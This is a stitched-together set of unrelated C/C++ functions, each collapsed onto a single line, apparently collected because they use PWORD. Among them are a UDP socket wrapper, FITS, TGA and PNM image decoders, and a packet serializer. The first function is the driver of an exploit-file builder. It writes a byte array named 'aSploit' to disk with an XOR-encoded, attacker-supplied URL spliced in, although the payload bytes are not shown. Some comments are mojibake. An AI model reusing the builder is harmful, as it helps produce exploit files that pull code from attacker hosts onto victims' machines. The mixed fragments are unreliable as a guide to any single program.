int main( int argc, char *argv[] ) { if( argc == 3 ) { DWORD dwURLlen = strlen( argv[ 1 ] )+1; if( dwURLlen < 40 ) { HANDLE h = CreateFile( argv[ 2 ], GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0 ); if ( h == INVALID_HANDLE_VALUE ) { printf( "Error creating %s\n", argv[ 2 ] ); return( 0 ); } DWORD dwWrit = 0; if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) || ( dwWrit != URL_OFFSET ) ) goto writeerr; for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 ) *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use htons? *PWORD( p ) ^= 0xdefa; if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) || ( dwWrit != dwURLlen ) ) goto writeerr; DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen ); if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite, &dwWrit, NULL ) || ( dwWrit != dwToWrite ) ) goto writeerr; CloseHandle( h ); return( 0 ); } } Usage(); return( 1 ); writeerr: printf( "Error writing to %s\n", argv[ 2 ] ); return( 2 ); }
BOOL CUdpSocket::CheckSum( int length ) { if( length<=6 ) return FALSE; PCHECK_SUM pCheckSum = (PCHECK_SUM)m_pRecvBuff; if( pCheckSum->Head != ((DWORD)PACKET_START2<<8) + PACKET_START1 ) return FALSE; if( pCheckSum->Length+6 != length ) return FALSE; if( *PWORD(&m_pRecvBuff[pCheckSum->Length+4]) != ((DWORD)PACKET_END2<<8) + PACKET_END1 ) return FALSE; return TRUE; }
void ie_FillLine(iePwL pDst, DWORD nXW, iewL clr) { #ifndef __X64__ if (g_bSSE2 && (nXW >= 16)) { #else if (nXW >= 16) { #endif // Do fill using SSE2! while (nXW) { // Fill until destination is aligned if (_mm_isAligned(pDst)) break; *pDst++ = clr; nXW--; } __m128i r0 = _mm_set1_epi16(clr); for (DWORD nXW_8 = nXW >> 3; nXW_8--;) { _mm_store_si128((__m128i *)pDst, r0); pDst += 8; } if (nXW & 4) { _mm_storel_epi64((__m128i *)pDst, r0); pDst += 4; } if (nXW & 2) { *PDWORD(pDst) = _mm_cvtsi128_si32(r0); pDst += 2; } if (nXW & 1) { *PWORD(pDst) = clr; } return; } while (nXW--) *pDst++ = clr; }
ieResult ie_fits_Reader::ReadImageX(ieImage *pim, bool bLoadSmall, iePProgress pProgress, volatile bool *pbCancel) { PCBYTE pbSrc = pcData; double dNAV = dBlank; pbSrc = pcData; if (pim->L()) { DWORD nPitchDst = pim->L()->Pitch(); iePL pcDst = pim->L()->PixelPtr(); pcDst += nY*nPitchDst; for (DWORD y = 0; y < nY; y++) { pcDst -= nPitchDst; iem_Copy(pcDst, pbSrc, pim->X()); pbSrc += pim->X(); if (pProgress) pProgress->Progress(y, nY); if (pbCancel && *pbCancel) break; } } else if (pim->wL()) { DWORD nPitchDst = pim->wL()->Pitch(); iePwL pwDst = pim->wL()->PixelPtr(); pwDst += nY*nPitchDst; for (DWORD y = 0; y < nY; y++) { pwDst -= nPitchDst; ie_SetBSSWords2Words(PWORD(pwDst), PCSWORD(pbSrc), pim->X(), (nZ <= 16) ? 1 : 2); pbSrc += pim->X() * 2; if (pProgress) pProgress->Progress(y, nY); if (pbCancel && *pbCancel) break; } } else if (pim->fL()) { DWORD nPitchDst = pim->fL()->Pitch(); iePfL pfDst = pim->fL()->PixelPtr(); pfDst += nY*nPitchDst; for (DWORD y = 0; y < nY; y++) { pfDst -= nPitchDst; if (nZ >= 32) { ie_SetFloats(pfDst, iePCfL(pbSrc), pim->X(), 1, true); } else { // if (nZ == 64) { iePfL pfD = pfDst; const QWORD *pqwS = (const QWORD *) pbSrc; for (DWORD x = nX; x--;) { QWORD qw = *pqwS++; qw = SwapQW(qw); *pfD++ = float(*(double *)&qw); } } pbSrc += pim->X() * 4; if (pProgress) pProgress->Progress(y, nY); if (pbCancel && *pbCancel) break; } } else { return IE_E_INVALIDCLRFORMAT; } return IE_S_OK; }
int CUdpSocket::Send( char* pBuf, long length, LPCTSTR lpTo, unsigned int Port, int dwFlag ) { int Ret; //返回值 if( m_Socket == INVALID_SOCKET ) return -1; //检查长度 if( length > MAX_PACKET_SIZE ) return 0; WSABUF Buf; //接收缓存 DWORD dwSentSize = 0; //缓存 char pTBuf[MAX_PACKET_SIZE]; int index = 0; //封包格式 pTBuf[index++] = (BYTE)PACKET_START1; pTBuf[index++] = (BYTE)PACKET_START2; *PWORD( &pTBuf[index] ) = (WORD)length; index += 2; memcpy( pTBuf+index, pBuf, length ); index += length; pTBuf[index++] = (BYTE)PACKET_END1; pTBuf[index++] = (BYTE)PACKET_END2; Buf.buf = pTBuf; Buf.len = index; if(pSendOvl) pSendOvl->OffsetHigh = Buf.len; //发送 if( m_SocketType == SOCK_STREAM ) { Ret = WSASend( m_Socket, &Buf, 1, &dwSentSize, dwFlag, pSendOvl, NULL); } else { sockaddr_in addr; //地址结构 //初始化地址 //ZeroMemory( &addr, sizeof(addr) ); addr.sin_family = AF_INET; #ifdef _UNICODE USES_CONVERSION; addr.sin_addr.s_addr = inet_addr(W2A(lpTo)); #else addr.sin_addr.s_addr = inet_addr(lpTo); #endif addr.sin_port = htons(Port); Ret = WSASendTo( m_Socket, &Buf, 1, &dwSentSize, dwFlag, (sockaddr*)&addr, sizeof(addr), pSendOvl, NULL); } //判断返回值 if ( Ret == SOCKET_ERROR ) { Ret = WSAGetLastError(); //得到错误 switch( Ret ) { case WSA_IO_PENDING: //累计错误 m_nPending++; //大于3次结束连接 if( m_nPending > 3 ) //Close(); break; case WSAEWOULDBLOCK: //累计错误 m_nWouldblock++; //大于3次结束连接 if( m_nWouldblock > 3 ) //Close(); break; default: //累计错误 m_nSocketErr++; //大于3次结束连接 if( m_nSocketErr == 2 ) //Close(); break; } } return Ret; }
static void tga_RLE(PBYTE pbDst, PCBYTE pbSrc, DWORD dwImgSize, int iPiWidth) // Decode TARGA RLE... // Targa RLE decompression { // b := Read byte; // if b7 = 1 then duplicate next pixel (1 + b & 0x7F) times // else copy (1 + b & 0x7F) pixels literary PBYTE pbEnd = pbDst + dwImgSize*iPiWidth; if (iPiWidth == 4) { while (pbDst < pbEnd) { BYTE b = *pbSrc++; DWORD c = 1 + (b & 0x7F); if (b & 0x80) { DWORD dw = *PDWORD(pbSrc); pbSrc += 4; for (; c--; pbDst += 4) *PDWORD(pbDst) = dw; } else { DWORD cb = 4*c; memcpy(pbDst, pbSrc, cb); pbDst += cb; pbSrc += cb; } } } else if (iPiWidth == 3) { while (pbDst < pbEnd) { BYTE b = *pbSrc++; DWORD c = 1 + (b & 0x7F); if (b & 0x80) { DWORD dw = *PDWORD(pbSrc); pbSrc += 3; for (; c--; pbDst += 3) *PDWORD(pbDst) = dw; } else { DWORD cb = 3 * c; memcpy(pbDst, pbSrc, cb); pbDst += cb; pbSrc += cb; } } } else if (iPiWidth == 2) { while (pbDst < pbEnd) { BYTE b = *pbSrc++; DWORD c = 1 + (b & 0x7F); if (b & 0x80) { WORD w = *PWORD(pbSrc); pbSrc += 2; for (; c--; pbDst += 2) *PWORD(pbDst) = w; } else { DWORD cb = 2 * c; memcpy(pbDst, pbSrc, cb); pbDst += cb; pbSrc += cb; } } } else { //if (iPiWidth == 1) { while (pbDst < pbEnd) { BYTE b = *pbSrc++; DWORD c = 1 + (b & 0x7F); if (b & 0x80) { BYTE b = *pbSrc++; for (; c--; ) *pbDst++ = b; } else { memcpy(pbDst, pbSrc, c); pbDst += c; pbSrc += c; } } } }
ieResult ie_pnm_Reader::ReadImageX(ieImage *pim, bool bLoadSmall, iePProgress pProgress, volatile bool *pbCancel) { PCBYTE pbSrc = pbData, pbSrcNext; PCBYTE pbEnd = pMem->Ptr() + pMem->Size(); PBYTE pbDst = pim->RawPixelPtr(), pb; DWORD nDstPitch = pim->Pitch(); DWORD x, y; switch (cFormat) { case P_BINARYBITMAP: x = nMinBytesPerLine/8; for (y = nY; y--; pbDst += nDstPitch, pbSrc = pbSrcNext) { if ((pbSrcNext = pbSrc + x) > pbEnd) break; ie_Unpack1BPLine(iePILUT(pbDst), pbSrc, x); if (pbCancel && *pbCancel) break; } break; case P_BINARYGRAYMAP: if (b16bit) { for (y = nY; y--; pbDst += 2 * nDstPitch, pbSrc = pbSrcNext) { if ((pbSrcNext = pbSrc + 2 * nX) > pbEnd) break; ie_SetWords(PWORD(pbDst), PCWORD(pbSrc), nX, 1, true); } } else { ie_PadLines(pbDst, pbSrc, nDstPitch, nX, nY); } break; case P_BINARYPIXELMAP: if (b16bit) { for (y = nY; y--; pbDst += 8 * nDstPitch, pbSrc = pbSrcNext) { if ((pbSrcNext = pbSrc + 6 * nX) > pbEnd) break; ie_wRGB2wBGRA(iePwBGRA(pbDst), iePCwRGB(pbSrc), nX, true); if (pbCancel && *pbCancel) break; } } else { for (y = nY; y--; pbDst += 4 * nDstPitch, pbSrc = pbSrcNext) { if ((pbSrcNext = pbSrc + 3 * nX) > pbEnd) break; ie_RGB2BGRA(iePBGRA(pbDst), iePRGB(pbSrc), nX); if (pbCancel && *pbCancel) break; } } break; case P_TEXTBITMAP: case P_TEXTGRAYMAP: for (y = 0; y < nY; y++, pbDst += nDstPitch) { if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY); pb = pbDst; for (x = nX; x--; ) *pb++ = ReadInt(pbSrc, pbEnd, 1); if (pbCancel && *pbCancel) break; } break; case P_TEXTPIXELMAP: for (y = 0; y < nY; y++, pbDst += 4 * nDstPitch) { if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY); pb = pbDst; for (x = nX; x--; pb += 4) { pb[2] = ReadInt(pbSrc, pbEnd); pb[1] = ReadInt(pbSrc, pbEnd); pb[0] = ReadInt(pbSrc, pbEnd); pb[3] = 0xFF; } if (pbCancel && *pbCancel) break; } break; case P_FLOATGRAYMAP: ie_PadLines(pbDst, pbSrc, nDstPitch * sizeof(float), nX * sizeof(float), nY); break; case P_FLOATPIXELMAP: for (y = 0; y < nY; y++, pbDst += 16 * nDstPitch, pbSrc = pbSrcNext) { if (pProgress && ((y & 0x1F) == 0x1F)) pProgress->Progress(y, nY); if ((pbSrcNext = pbSrc + 12 * nX) > pbEnd) break; ie_fRGB2fBGRA(iePfBGRA(pbDst), iePfRGB(pbSrc), nX); if (pbCancel && *pbCancel) break; } break; } return IE_S_OK; }
int CPacket::GetPacket( char* pBuffer, int length, WORD Packet, ... ) { string* pFormat = m_PacketCmd.GetData( Packet ); if( pFormat ) { int index = 2; *PWORD(pBuffer) = Packet; va_list marker; va_start( marker, Packet );//역迦 BYTE byte; WORD word; DWORD dword; char* p; for( int i=0;i<(int)pFormat->size();i++ ) { switch( BYTE((*pFormat)[i]) ) { case T_BYTE: if( index>=length ) { va_end( marker );//써監 return 0; } byte = va_arg( marker, BYTE ); pBuffer[index++] = byte; break; case T_WORD: if( index>=length-1 ) { va_end( marker );//써監 return 0; } word = va_arg( marker, WORD ); *(PWORD)&pBuffer[index] = word; index += 2; break; case T_DWORD: if( index>=length-3 ) { va_end( marker );//써監 return 0; } dword = va_arg( marker, DWORD ); *(PDWORD)&pBuffer[index] = dword; index += 4; break; case T_LEN_DATA: if( index>=length-1 ) { va_end( marker );//써監 return 0; } word = va_arg( marker, WORD ); *PWORD(&pBuffer[index]) = word; index += 2; if( word == 0 ) { va_end( marker );//써監 return index; } if( index>length-word ) { va_end( marker );//써監 return 0; } p = va_arg( marker, char* ); memcpy( &pBuffer[index], p, word ); index += word; break; default: pBuffer[index++] = BYTE((*pFormat)[i]); break; } } va_end( marker );//써監 return index; } return -1; }
int CPacket::GetValue( const char* pBuffer, int length, WORD Packet, ... ) { string* pFormat = m_PacketCmd.GetData( Packet ); if( pFormat ) { int index = 2; *PWORD(pBuffer) = Packet; va_list marker; va_start( marker, Packet );//역迦 PBYTE pbyte; PWORD pword; PDWORD pdword; WORD len; char* p; for( int i=0;i<(int)pFormat->size();i++ ) { switch( BYTE((*pFormat)[i]) ) { case T_BYTE: if( index>=length ) { va_end( marker );//써監 return 0; } pbyte = va_arg( marker, PBYTE ); if( pbyte != NULL ) { *pbyte = pBuffer[index]; } index++; break; case T_WORD: if( index>=length-1 ) { va_end( marker );//써監 return 0; } pword = va_arg( marker, PWORD ); if( pword != NULL ) { *pword = *(PWORD)&pBuffer[index]; } index += 2; break; case T_DWORD: if( index>=length-3 ) { va_end( marker );//써監 return 0; } pdword = va_arg( marker, PDWORD ); if( pdword != NULL ) { *pdword = *(PDWORD)&pBuffer[index]; } index += 4; break; case T_LEN_DATA: if( index>length-2 ) { va_end( marker );//써監 return 0; } pword = va_arg( marker, PWORD ); if( pword == NULL ) { va_end( marker );//써監 return 0; } len = va_arg( marker, WORD ); *pword = *PWORD(&pBuffer[index]); index += 2; if( len < *pword ) { va_end( marker );//써監 return 0; } if( index>length-*pword ) { va_end( marker );//써監 return 0; } p = va_arg( marker, char* ); memcpy( p, &pBuffer[index], *pword ); index += *pword; break; default: if( index>=length ) { va_end( marker );//써監 return 0; } // pBuffer[index++] = BYTE((*pFormat)[i]); index++; break; } } va_end( marker );//써監 return index; } return -1; }